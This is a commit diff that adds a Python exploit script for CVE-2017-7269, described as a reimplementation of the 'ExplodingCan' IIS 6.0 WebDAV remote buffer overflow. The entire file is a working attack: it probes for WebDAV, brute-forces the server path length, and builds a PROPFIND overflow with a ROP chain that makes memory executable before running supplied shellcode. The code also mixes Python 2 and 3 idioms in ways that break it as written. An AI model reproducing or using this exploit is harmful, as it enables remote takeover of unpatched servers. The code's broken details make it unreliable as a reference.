|
| 1 | +#!/usr/bin/python |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +# |
| 4 | +# An implementation of NSA's ExplodingCan exploit |
| 5 | +# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow |
| 6 | +# CVE-2017-7269 |
| 7 | +# |
| 8 | +# by @danigargu |
| 9 | +# |
| 10 | +# |
| 11 | + |
| 12 | +import re |
| 13 | +import sys |
| 14 | +import socket |
| 15 | +import requests |
| 16 | +import http.client |
| 17 | +import string |
| 18 | +import time |
| 19 | +import random |
| 20 | +import sys |
| 21 | + |
| 22 | +from urllib.parse import urlparse |
| 23 | +from struct import pack |
| 24 | + |
| 25 | +REQUEST_TIMEOUT = 10 |
| 26 | +DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot") |
| 27 | + |
| 28 | +def decode(data): |
| 29 | + return data.decode("utf-8").encode("utf-16le") |
| 30 | + |
| 31 | +def encode(data): |
| 32 | + return data.decode("utf-16le").encode("utf-8") |
| 33 | + |
| 34 | +p = lambda x : pack("<L", x) # pack |
| 35 | + |
| 36 | +def rand_text_alpha(size): |
| 37 | + chars = string.ascii_uppercase + string.ascii_lowercase + string.digits |
| 38 | + return ''.join(random.choice(chars) for _ in range(size)) |
| 39 | + |
| 40 | +def supports_webdav(headers): |
| 41 | + if "DAV" in headers.get('MS-Author-Via','') or \ |
| 42 | + headers.get('DASL','') == '<DAV:sql>' or \ |
| 43 | + re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \ |
| 44 | + "PROPFIND" in headers.get('Public','') or \ |
| 45 | + "PROPFIND" in headers.get('Allow',''): |
| 46 | + return True |
| 47 | + return False |
| 48 | + |
| 49 | +def check(url): |
| 50 | + r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT) |
| 51 | + if r.status_code != 200: |
| 52 | + print("[-] Status code: %d" % r.status_code) |
| 53 | + return False |
| 54 | + |
| 55 | + print("[*] Server found: %s" % r.headers['Server']) |
| 56 | + if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers): |
| 57 | + return True |
| 58 | + return False |
| 59 | + |
| 60 | +def find_iis_path_len(url, min_len=3, max_len=70, delay=0): |
| 61 | + idx = 0 |
| 62 | + junk = 60 |
| 63 | + found = False |
| 64 | + iis_path_len = None |
| 65 | + cur_size = max_len |
| 66 | + |
| 67 | + assert max_len <= 130, "Max length exceeded (130)" |
| 68 | + init_lenght = 130-max_len |
| 69 | + |
| 70 | + while not found and cur_size > min_len: |
| 71 | + cur_size = (max_len-idx) |
| 72 | + to_brute = rand_text_alpha(init_lenght+idx) |
| 73 | + base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute |
| 74 | + |
| 75 | + sys.stdout.write("[*] Trying with size: %d\r" % cur_size) |
| 76 | + sys.stdout.flush() |
| 77 | + try: |
| 78 | + r = requests.request('PROPFIND', url, |
| 79 | + timeout=REQUEST_TIMEOUT, headers={ |
| 80 | + 'Content-Length': '0', |
| 81 | + 'Host': 'localhost', |
| 82 | + 'If': base_query |
| 83 | + }) |
| 84 | + |
| 85 | + if r.status_code == 500: |
| 86 | + iis_path_len = (max_len-idx) |
| 87 | + found = True |
| 88 | + idx += 1 |
| 89 | + time.sleep(delay) |
| 90 | + |
| 91 | + # requests.exceptions.ReadTimeout |
| 92 | + except requests.exceptions.ConnectionError as e: |
| 93 | + print("[-] ERROR: %s" % e.message) |
| 94 | + break |
| 95 | + |
| 96 | + if iis_path_len and iis_path_len == max_len: |
| 97 | + iis_path_len = None |
| 98 | + |
| 99 | + return iis_path_len |
| 100 | + |
| 101 | +def make_payload(p_url, iis_path_len, shellcode): |
| 102 | + url = p_url.geturl() |
| 103 | + payload = "PROPFIND / HTTP/1.1\r\n" |
| 104 | + payload += "Host: %s\r\n" % p_url.netloc |
| 105 | + payload += "Content-Length: 0\r\n" |
| 106 | + payload += "If: <%s/a" % url |
| 107 | + |
| 108 | + junk = (128-iis_path_len) * 2 |
| 109 | + |
| 110 | + p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path |
| 111 | + p1 += p(0x02020202) |
| 112 | + p1 += p(0x680312c0) # str pointer to .data httpext.dll |
| 113 | + p1 += rand_text_alpha(24) |
| 114 | + p1 += p(0x680313c0) # destination pointer used with memcpy |
| 115 | + p1 += rand_text_alpha(12) |
| 116 | + p1 += p(0x680313c0) # destination pointer used with memcpy |
| 117 | + |
| 118 | + payload += encode(p1) |
| 119 | + |
| 120 | + payload += "> (Not <locktoken:write1>) " |
| 121 | + payload += "<%s/b" % url |
| 122 | + |
| 123 | + p2 = rand_text_alpha(junk - 4) |
| 124 | + p2 += p(0x680313c0) |
| 125 | + |
| 126 | + """ |
| 127 | + Stack adjust: |
| 128 | +
|
| 129 | + rsaenh.dll:68006E4F pop esi |
| 130 | + rsaenh.dll:68006E50 pop ebp |
| 131 | + rsaenh.dll:68006E51 retn 20h |
| 132 | + """ |
| 133 | + |
| 134 | + p2 += p(0x68006e4f) # StackAdjust |
| 135 | + p2 += p(0x68006e4f) # StackAdjust |
| 136 | + p2 += rand_text_alpha(4) |
| 137 | + p2 += p(0x680313c0) |
| 138 | + p2 += p(0x680313c0) |
| 139 | + p2 += rand_text_alpha(12) |
| 140 | + |
| 141 | + """ |
| 142 | + rsaenh.dll:68016082 mov esp, ecx |
| 143 | + rsaenh.dll:68016084 mov ecx, [eax] |
| 144 | + rsaenh.dll:68016086 mov eax, [eax+4] |
| 145 | + rsaenh.dll:68016089 push eax |
| 146 | + rsaenh.dll:6801608A retn |
| 147 | + """ |
| 148 | + |
| 149 | + p2 += p(0x68016082) |
| 150 | + p2 += rand_text_alpha(12) |
| 151 | + p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE |
| 152 | + p2 += rand_text_alpha(4) |
| 153 | + p2 += p(0x680124e3) # JMP [EBX] |
| 154 | + p2 += p(0x68031460) # shellcode address |
| 155 | + p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address |
| 156 | + p2 += p(0xffffffff) |
| 157 | + p2 += p(0x680313c0) |
| 158 | + p2 += p(0x6803046e) |
| 159 | + p2 += rand_text_alpha(4) |
| 160 | + p2 += p(0x68031434) |
| 161 | + p2 += p(0x680129e7) # leave; ret |
| 162 | + |
| 163 | + """ |
| 164 | + rsaenh.dll:68009391 pop eax |
| 165 | + rsaenh.dll:68009392 pop ebp |
| 166 | + rsaenh.dll:68009393 retn 4 |
| 167 | + """ |
| 168 | + |
| 169 | + p2 += p(0x68009391) |
| 170 | + p2 += rand_text_alpha(16) |
| 171 | + p2 += p(0x6803141c) |
| 172 | + |
| 173 | + """ |
| 174 | + rsaenh.dll:68006E05 lea esp, [ebp-20h] |
| 175 | + rsaenh.dll:68006E08 pop edi |
| 176 | + rsaenh.dll:68006E09 pop esi |
| 177 | + rsaenh.dll:68006E0A pop ebx |
| 178 | + rsaenh.dll:68006E0B leave |
| 179 | + rsaenh.dll:68006E0C retn 24h |
| 180 | + """ |
| 181 | + |
| 182 | + p2 += p(0x68006e05) |
| 183 | + p2 += rand_text_alpha(12) |
| 184 | + p2 += p(0x68008246) # EAX val address |
| 185 | + p2 += rand_text_alpha(4) |
| 186 | + |
| 187 | + """ |
| 188 | + Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server) |
| 189 | +
|
| 190 | + rsaenh.dll:68021DAA mov eax, [eax+110h] |
| 191 | + rsaenh.dll:68021DB0 pop ebp |
| 192 | + rsaenh.dll:68021DB1 retn 4 |
| 193 | + """ |
| 194 | + |
| 195 | + p2 += p(0x68021daa) |
| 196 | + p2 += rand_text_alpha(4) |
| 197 | + p2 += p(0x680313f8) |
| 198 | + p2 += p(0x680129e7) # leave; ret |
| 199 | + |
| 200 | + payload += encode(p2) |
| 201 | + |
| 202 | + """ |
| 203 | + stack restore: |
| 204 | +
|
| 205 | + 90 nop |
| 206 | + 31db xor ebx, ebx |
| 207 | + b308 mov bl, 8 |
| 208 | + 648b23 mov esp, dword fs:[ebx] |
| 209 | + 6681c40008 add sp, 0x800 |
| 210 | + 90 nop |
| 211 | + """ |
| 212 | + payload += encode("9031DBB308648B236681C4000890".decode("hex")) |
| 213 | + payload += encode(shellcode) |
| 214 | + payload += ">\r\n\r\n" |
| 215 | + |
| 216 | + return payload |
| 217 | + |
| 218 | +def send_exploit(p_url, data): |
| 219 | + host = p_url.hostname |
| 220 | + port = p_url.port if p_url.port else 80 |
| 221 | + vulnerable = False |
| 222 | + recv_data = None |
| 223 | + |
| 224 | + try: |
| 225 | + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 226 | + sock.settimeout(50) |
| 227 | + sock.connect((host, port)) |
| 228 | + sock.send(data) |
| 229 | + recv_data = sock.recv(1024) |
| 230 | + sock.close() |
| 231 | + except socket.timeout: |
| 232 | + print("[*] Socket timeout") |
| 233 | + vulnerable = True |
| 234 | + except socket.error as e: |
| 235 | + if e.errno == 54: |
| 236 | + print("[*] Connection reset by peer") |
| 237 | + vulnerable = True |
| 238 | + return (vulnerable, recv_data) |
| 239 | + |
| 240 | +def main(): |
| 241 | + if len(sys.argv) < 3: |
| 242 | + print("Usage: %s <url> <shellcode-file>" % sys.argv[0]) |
| 243 | + return |
| 244 | + |
| 245 | + try: |
| 246 | + url = sys.argv[1] |
| 247 | + sc_file = sys.argv[2] |
| 248 | + p_url = urlparse(url) |
| 249 | + shellcode = None |
| 250 | + |
| 251 | + with open(sc_file, 'rb') as f: |
| 252 | + shellcode = f.read() |
| 253 | + |
| 254 | + print("[*] Using URL: %s" % url) |
| 255 | + if not check(url): |
| 256 | + print("[-] Server not vulnerable") |
| 257 | + return |
| 258 | + |
| 259 | + iis_path_len = find_iis_path_len(url) |
| 260 | + if not iis_path_len: |
| 261 | + print("[-] Unable to determine IIS path size") |
| 262 | + return |
| 263 | + |
| 264 | + print("[*] Found IIS path size: %d" % iis_path_len) |
| 265 | + if iis_path_len == DEFAULT_IIS_PATH_SIZE: |
| 266 | + print("[*] Default IIS path: C:\Inetpub\wwwroot") |
| 267 | + |
| 268 | + r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT) |
| 269 | + if r and r.status_code == 207: |
| 270 | + print("[*] WebDAV request: OK") |
| 271 | + payload = make_payload(p_url, iis_path_len, shellcode) |
| 272 | + |
| 273 | + print("[*] Payload len: %d" % len(payload)) |
| 274 | + print("[*] Sending payload...") |
| 275 | + vuln, recv_data = send_exploit(p_url, payload) |
| 276 | + |
| 277 | + if vuln: |
| 278 | + print("[+] The host is maybe vulnerable") |
| 279 | + if recv_data: |
| 280 | + print(recv_data) |
| 281 | + else: |
| 282 | + print("[-] Server did not respond correctly to WebDAV request") |
| 283 | + return |
| 284 | + |
| 285 | + except Exception as e: |
| 286 | + print("[-] %s" % e) |
| 287 | + |
| 288 | +if __name__ == '__main__': |
| 289 | + main() |
| 290 | + |
0 commit comments